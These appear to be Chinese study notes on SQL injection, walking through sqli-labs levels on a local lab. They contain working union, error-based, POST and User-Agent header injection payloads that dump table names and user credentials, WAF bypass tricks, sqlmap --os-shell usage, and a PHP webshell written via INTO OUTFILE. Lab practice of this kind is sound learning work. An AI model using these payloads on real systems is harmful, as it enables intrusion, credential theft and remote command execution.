SQL注入学习笔记一

知识点

php.ini中disable_functionns可以禁用函数

include预防

产生原因:include包含点用户可控

isset():

robots.txt是什么:

robots.txt 是一个存放在网站根目录下的纯文本文件,它是机器人排除协议的一部分。它的作用是告诉网络爬虫该网站中哪些内容可以被抓取,哪些内容不可以被抓取。

科学计数法绕过:

利用了 WAF与 后端程序 在解析数据时的差异

假设 user_id=1 是管理员,WAF 禁止直接访问 1。攻击者可以使用 user_id=1e0 来获取管理员数据。

MySQL如何getshell(上传shell):

  • 必须是root

  • 某个字段必须需为空 : secure_file_priv

默认是NULL(禁止导出),不能导出文件,必须是空白(什么都没有)

或者是具体路径,只能导出到具体路径 (如果是/tmp,导出到临时文件下)

如果是root权限也无法修改,修改须在 my.ini配置文件下修改(需要拿下服务器):

secure_file_priv 是一个 只读的系统变量 。这意味着它只能在 MySQL 服务启动时通过配置文件(或启动命令行参数)读取,服务一旦启动,你就无法通过 SQL 命令动态修改它。

  • 知道web物理路径(通过猜或者报错)

需要满足以上三个条件才能getshell

into outfile:

SELECT ... INTO OUTFILE将选定的行写入文件。可以指定列和行终止符以生成特定的输出格式。

例如:

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'

找后台工具:dirmap、dirsearch、awvs等

正则回溯绕过:

当正则表达式包含复杂的重复匹配时,如果输入的字符串很长且无法完全匹配,正则引擎会尝试各种可能的组合路径进行"回溯"。

假设 WAF 的规则是检测 union select,且使用了复杂的正则边界检查。攻击者发送: ?id=aaaaaaaaaaaa...(大量a)... union select 1,2,3-- - WAF 在匹配前缀的 a...a 时卡死,导致无法检测到后面的 union select,最终后端执行了 SQL 注入。

换行符:

%0a,%0b,%0c,%0d,%a0,%09

sqlmap:

常见参数有哪些,干什么的,os-shell,level,risk,techniqques

SQLMap 是一款开源的、自动化的 SQL 注入 渗透测试工具

基础目标指定

复制代码
 -u <URL>或--url=<URL>     :指定要测试的目标网址。
  • 例:sqlmap -u "http://www.target.com/vuln.php?id=1"

.请求与数据控制

复制代码
 --data=<DATA>   :通过 POST 方式发送的数据。

例:sqlmap -u "http://www.target.com/login.php" --data="user=admin&pass=123"

  • --cookie=<COOKIE>:指定 Cookie 字符串(用于测试 Cookie 注入或维持会话)。

  • --headers=<HEADERS>:添加额外的 HTTP 头(如 User-AgentAuthorization)。

  • --proxy=<PROXY>:使用 HTTP 代理(用于隐藏身份或绕过 IP 封锁)。

  • --delay=<DELAY>:每个 HTTP 请求之间的延迟(秒),用于避免触发 WAF 的频率限制。

  • --random-agent:使用随机生成的 User-Agent,避免被识别为工具。

    常见参数

--os-shell

  • 功能:尝试在目标服务器上建立一个交互式的操作系统 Shell(命令行环境)。

  • 原理 :如果数据库权限足够且配置允许,SQLMap 会尝试通过 INTO OUTFILE 向 Web 目录写入 Webshell,或者尝试上传 DLL/共享库(UDF)来执行系统命令。

--level (测试等级):

  • 功能:指定测试的深度(1-5),默认为 1。

  • 区别:

    • Level 1-2:仅测试 GET/POST 参数。

    • Level 3:增加 Cookie 头的测试。

    • Level 4:增加 User-Agent 和 Referer 头的测试。

    • Level 5:增加更多种类的 HTTP 头测试。

--risk (风险等级):

  • 功能:指定测试的风险等级(1-3),默认为 1。

  • 区别:

    • Risk 1:常规测试,无害。

    • Risk 2:增加基于时间的 SQL 盲注测试。

    • Risk 3:增加基于 OR 的注入测试,这类测试可能会导致数据库中的大量数据被更新或删除,具有潜在破坏性。

--techniques (指定技术):

  • 功能:指定 SQLMap 使用哪些注入技术进行测试,默认测试所有

  • 选项:

    • B: Boolean-based blind(布尔盲注)

    • E: Error-based(报错注入)

    • U: Union query-based(联合查询注入)

    • S: Stacked queries(堆叠查询)

    • T: Time-based blind(时间盲注)

    • Q: Inline queries(内联查询)

万能密码:or

"万能密码"是通过特定输入绕过系统认证(如登录、权限校验)的技巧,本质是利用系统对用户输入的处理漏洞(如未过滤特殊字符、未正确校验逻辑),使认证条件永远成立,从而非法访问。

or逻辑或运算符 ,表示"只要其中一个条件为真,整个表达式就为真"。当它与'1'='1'(永远为真的条件)结合时,能强制让认证逻辑失效。

魔术开关是什么:php5.3之前存在,5.3以后默认关闭

魔术引号是PHP早期为自动转义用户输入数据中的特殊字符 而设计的功能,目的是防止SQL注入等安全问题 。当magic_quotes_gpc(Get/Post/Cookie)或magic_quotes_runtime(运行时数据)开启时,PHP会自动将用户输入中的特殊字符(如单引号'、双引号"、反斜杠\、NULL字符\0)转义为安全形式(如\'\"\\\0)。

例如,若用户输入O'Reilly,魔术引号会将其转为O\'Reilly,避免在SQL语句中破坏字符串结构

  • PHP 5.3之前 :魔术引号默认开启(magic_quotes_gpc=On),因此用户输入的GET、POST、COOKIE数据会被自动转义。

  • PHP 5.3及以后 :魔术引号默认关闭(magic_quotes_gpc=Off),并最终在PHP 7中被完全移除。

**被弃用的核心原因:**过度转义与数据混乱、防护不全面、隐藏逻辑、现代安全实践更优

Stripslashes函数:

知道主站如何找到子站:

  • 浏览器:谷歌语法:site:domain intext:"xx|xx|xx|xxx"

  • fofa|hunter|quark

  • 公开的工具

burp suite爆破:

密码爆破:爆破密码,容易被封ip,不推荐

密码喷洒:爆破账号,触发风控概率小,合理

mysql系统函数:

user(),database(),version()

sql注入:

不该被查询到的数据,被查到

select user()查看当前用户登陆权限

select database()当前所处数据库

select version()当前使用数据库版本

报错注入常用函数:

updatexml()

extractvalue()

floor()

报错注入7大常用函数:

1.ST_LatFromGeoHash()(mysql>=5.7.x)

2.ST_LongFromGeoHash(mysql>=5.7.x)

3.GTID (MySQL >= 5.6.X - 显错<=200)

4.floor(8.x>mysql>5.0)

5.ST_Pointfromgeohash (mysql>=5.7)

6 updatexml

7 extractvalue

截断函数

substr:从字符串中提取子串,语法为 substr(string, start, [length])

substring:从字符串中提取子串,语法为 substring(string, start, [length])

left:从字符串左侧 提取指定长度的子串,语法为 left(string, length)

right:从字符串右侧 提取指定长度的子串,语法为 right(string, length)

mid:与substring/substr类似,用于提取子串,语法为 mid(string, start, [length])

ascii():将字符转换为ASCII码(只取字符串的第一个字符)

length():返回字符串的长度

if():条件判断函数,根据条件返回不同值,语法为 if(condition, true_value, false_value)

  • condition:判断条件(布尔值);

  • true_value:条件为真时返回的值;

  • false_value:条件为假时返回的值。

MySQL数据库:information_schema、mysql

information_schema:是MySQL的只读系统数据库,存储了关于所有其他数据库的元数据(如表结构、列信息、权限、字符集等)。

mysql:是MySQL的核心系统数据库,它存储了服务器运行所需的关键信息,用户账户、权限、角色及认证信息,是MySQL权限系统的"数据源"

information_schema:

SCHEMATA:记录数据库名称


SCHEMA_NAME:记录所有数据库名称

TABLES:记录所有表名,包含数据库名

table_schema:数据库名

table_name:表名

COLUMNS:记录所有列名,包含数据库名,表名


table_schema:数据库名

table_name:表名

column_name

sql注入

第一关:

union逐步查询到表名、列名(前端须有回显)


mysql联表查询:

union:

列数必须相同

如何知道入侵网站的数据表有几列:

order by:

侧面推出有几列

逃逸出单引号限制

127.0.0.1/sqlilabs/Less-1/?id=1' order by 4--+

mysql注释:

第一种:-- (--空格)

第二种:#

第三种:/**/

联合查询注入

为什么还是dumb原因:


最终目的:

列名、表名、内容都不知道

查到管理员账号密码:

管理员是哪张表?

表里是什么字段?

informatio里有所有表、所有字段

127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security'),3--+

结果超过一行

解决办法:

limit:

一次只能看一行

解决办法(两种):

burpsuite遍历:


group_concat:一个函数 ,可以将四行组成一行:

127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

找到表名:

寻找列名:

select column_name from information_schema.columns where table_schema='security' and table_name='users'

127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3--+

结果:

寻找账号密码:

select group_concat(username,password)from users;

127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,(select group_concat(username,password)from users),3--+

结果:

报错注入:

127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,user(),0x7e),1)--+

  • id为真

updatexml()在MySQL中使用方法:

127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+

不完整,原因xpath的路径长度最多32位

解决办法:

使用limit():

127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+

使用substr():

127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username,0x3a,password),1,32)from users),0x7e),1)--+

127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username,0x3a,password),32,64)from users),0x7e),1)--+

第七关:

outfile

127.0.0.1/sqlilabs/Less-7/?id=1')) union select 1,'aaaaaa',3 into outfile 'E:/phpStudy/phpstudy_pro/WWW/sqlilabs/web.txt';--+


127.0.0.1/sqlilabs/Less-7/?id=1')) union select 1,'<?php phpinfo(); ?>',3 into outfile 'E:/phpStudy/phpstudy_pro/WWW/sqlilabs/web.php';--+


第十一关:

post注入

复制代码
 "SELECT username, password FROM users WHERE username='a' union select 1,user()#' and password='1' LIMIT 0,1"

只有一个username是否能查到数据:可以

username能不能是users表中已有的数据:如果是已经存在的数据,页面就不能显示联合查询后的数据


第十三关:

报错注入

为什么and前面a为假还能成功,报错注入优先级更高

第十七关:

单引号会被mysqli_real_escape_string函数转移,自己写的单引号会失效,无法逃逸出单引号限制

解决方法

有一个存在用户

1' and updatexml(1,concat(0x7e,user(),0x7e),1)#

思考:


1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

1' and updataxml (select group_concat teable_name)能查出,为什么a' 不行,有没有其他报错注入函数使用a'能成功

注入表名的时候会报错,执行系统函数的报错直接出数据

原因:

update users set password = '1' and updatexml语法本身就是错误的

优先级问题,updatexml先报错还是update先报错

1时and前面正确,and后面报错

update users set password = 'a' and updatexml

隐式转换

数字比较,a没办法转换成数字

a' and updatexml(1,concat(0x7e,user(),0x7e),1)为什么没报错

系统函数的优先级最高

除了updatexml以外还能,还能用什么函数报错注入

第十八关:

http head头 注入


uagent可控,REMOTE_ADDR无法伪造

burp suite抓包

闭合:

User-Agent: a' and updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1

补全:

User-Agent: a' and updatexml(1,concat(0x7e,user(),0x7e),1),'127.0.0.1','admin')#

相关推荐
乐迪信息3 小时前
乐迪信息:AI算法盒子实时识别船舶烟雾与火焰异常
大数据·人工智能·算法·安全·目标跟踪
汤愈韬4 小时前
IPSec-NAT穿越原理和配置
网络·网络协议·安全·网络安全·security
JoyCong19985 小时前
ToDesk AI 正式登场:您的智能远程助手,积分新玩法科普
人工智能·安全·电脑·远程工作·远程操作
vortex57 小时前
AI Skill 设计:网络安全审计中的自主性与规范化博弈
人工智能·安全·web安全
zhangfeng11338 小时前
那nvidia orim车载gpu tee安全飞地 和天垓 100 gpgpu的 飞地 ,大概有多大存储量 ,解密流程
人工智能·深度学习·安全·语言模型·gpu算力·芯片
吹个口哨写代码8 小时前
前后端分离的安全补救措施
安全
zhangfeng113310 小时前
天数智芯天垓 100 加密大模型分布式部署安全方案
人工智能·分布式·安全·transformer·gpu算力·芯片
workflower10 小时前
医院核心竞争力的四大重构
人工智能·安全·设计模式·重构·动态规划·scrum
zhangfeng113310 小时前
车载gpu 飞地 只保存密钥 不保存 权重 Orin确实有TEE安全飞地(TSEC/OP-TEE)
服务器·网络·人工智能·安全·transformer·芯片
humors22111 小时前
四种字母密码表示法
安全·网络安全·密码学